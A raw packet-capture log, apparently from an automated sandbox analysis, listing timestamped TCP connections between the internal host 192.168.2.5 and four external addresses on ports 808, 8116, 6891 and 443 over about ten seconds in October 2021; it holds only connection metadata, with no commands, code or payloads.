Oct 28, 2021 04:47:41.176604033 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.176630020 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.176656961 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.176683903 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.294125080 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.294161081 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.294260025 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.298333883 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.351618052 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.406594038 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.406626940 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:41.406708002 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.407265902 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.407282114 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:41.555227041 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.555260897 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.555363894 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.555396080 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.563307047 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.692275047 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:41.722646952 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.863554001 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:41.863704920 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:41.864479065 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:41.898370028 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:41.898479939 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.899646997 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.899666071 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:41.905524969 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.905545950 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:41.905719995 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:41.905754089 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:42.030858040 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.030996084 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.031060934 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.031572104 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.034569025 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.034672022 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.202075958 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.202095985 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.202102900 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.582969904 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.582993031 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.583076954 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.583153009 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.595232964 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:42.595325947 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:42.595369101 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:42.595396996 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:42.598582029 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:42.599011898 CEST	50114	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:42.599034071 CEST	443	50114	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:42.725677967 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.755135059 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:42.764868021 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:42.772568941 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:42.772681952 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.773492098 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.820241928 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:42.820609093 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:42.821517944 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.822114944 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.826432943 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.826559067 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:42.874022961 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:42.874039888 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:42.874300957 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:42.925195932 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:42.925328016 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:42.926558971 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.059606075 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:43.059633017 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:43.061300039 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:43.076199055 CEST	50116	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:43.099293947 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.099322081 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.099421978 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.100424051 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.107414007 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.107538939 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.123147011 CEST	8116	50116	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:43.192756891 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.192815065 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:43.192985058 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.193643093 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.193667889 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:43.270422935 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.277477026 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.277599096 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.655827999 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.655853987 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.656105995 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.659672022 CEST	50117	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:43.678108931 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:43.678245068 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.679486990 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.679507017 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:43.685590982 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.685614109 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:43.685708046 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:43.685722113 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:43.782897949 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:43.830216885 CEST	808	50117	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:43.949176073 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:43.949428082 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:43.950508118 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.116729021 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.116844893 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.116936922 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.117374897 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.120131969 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.120244980 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.286518097 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.286542892 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.286550045 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.371862888 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:44.371932983 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:44.372028112 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:44.372066975 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:44.378212929 CEST	50118	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:44.378253937 CEST	443	50118	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:44.518258095 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.672004938 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.672029018 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.672163010 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.672231913 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.675477982 CEST	50119	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:44.690740108 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:44.691128016 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.691999912 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.801492929 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.841799974 CEST	6891	50119	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:44.858136892 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:44.858247995 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.858952999 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.864388943 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:44.864417076 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:44.864557981 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.865251064 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.868963957 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.869075060 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:44.915208101 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:44.915339947 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:44.915416956 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.916536093 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.919711113 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.919809103 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:44.976491928 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:44.976515055 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:45.038009882 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.041346073 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.041368008 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.041394949 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.041407108 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.158885002 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:45.158911943 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:45.159002066 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:45.159030914 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:45.161971092 CEST	50121	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:45.218235970 CEST	8116	50121	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:45.285476923 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.285527945 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:45.285640001 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.286441088 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.286462069 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:45.418874025 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.418896914 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.419017076 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:45.419114113 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:45.427540064 CEST	50120	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:45.548022032 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:45.599956989 CEST	808	50120	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:45.713267088 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:45.713695049 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:45.714512110 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:45.773437977 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:45.774378061 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.774394035 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.774404049 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:45.779534101 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.779551983 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:45.779572010 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:45.779582977 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:45.879731894 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:45.879864931 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:45.879962921 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:45.880603075 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:45.884634018 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:45.884742022 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:46.049906015 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:46.049942970 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:46.049951077 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:46.431328058 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:46.431353092 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:46.431612968 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:46.438838005 CEST	50123	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:46.464637041 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:46.464709997 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:46.464867115 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:46.464891911 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:46.467941046 CEST	50122	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:46.467977047 CEST	443	50122	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:46.580061913 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.604196072 CEST	6891	50123	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:46.632553101 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.633239031 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.634147882 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.641689062 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.686458111 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.686714888 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.686875105 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.687577009 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.692475080 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.692684889 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.745301962 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.745830059 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.802397013 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:46.802516937 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.803293943 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.914026976 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.914051056 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:46.914186954 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.914243937 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.922223091 CEST	50124	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:46.964200974 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:46.966815948 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:46.966949940 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.967500925 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.972323895 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.972479105 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:46.974529982 CEST	8116	50124	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:47.041551113 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.041604042 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:47.041707039 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.043051958 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.043076038 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:47.128057957 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.133059978 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.136950970 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.136986971 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.517519951 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.517540932 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.517693996 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:47.517766953 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:47.536762953 CEST	50125	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:47.565469980 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:47.565618038 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.697731972 CEST	808	50125	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:47.730554104 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.730573893 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:47.736056089 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.736068010 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:47.736241102 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:47.736253977 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:47.744770050 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:47.910276890 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:47.910372019 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:47.911015034 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.076215029 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:48.076327085 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:48.076539040 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.079965115 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.083933115 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.084044933 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.249294043 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:48.249425888 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:48.448211908 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:48.448293924 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:48.448308945 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:48.448342085 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:48.455729961 CEST	50126	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:48.455763102 CEST	443	50126	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:48.633115053 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:48.633135080 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:48.633261919 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.633291006 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:48.979942083 CEST	50127	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:49.104177952 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.145402908 CEST	6891	50127	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:49.146668911 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:49.159069061 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:49.159360886 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.160866976 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.215277910 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:49.215739965 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:49.215950966 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.216912031 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.219717979 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.219938040 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.275782108 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:49.307653904 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:49.308892012 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:49.311271906 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:49.459311008 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:49.459362984 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:49.459496975 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:49.472033978 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:49.472780943 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:49.472942114 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.239852905 CEST	50128	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:50.243479967 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.246443987 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.246483088 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.296825886 CEST	8116	50128	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:50.366276979 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.366333961 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:50.366489887 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.368274927 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.368304968 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:50.404292107 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.409198046 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.409229040 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.409244061 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.409256935 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.409270048 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.795552015 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.795588017 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:50.795835018 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.795882940 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.801244974 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:50.853349924 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:50.853651047 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.854614019 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.854634047 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:50.860658884 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.860682964 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:50.860825062 CEST	50130	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:50.860836029 CEST	443	50130	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:50.929168940 CEST	50131	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:50.961637020 CEST	808	50129	143.244.140.214	192.168.2.5
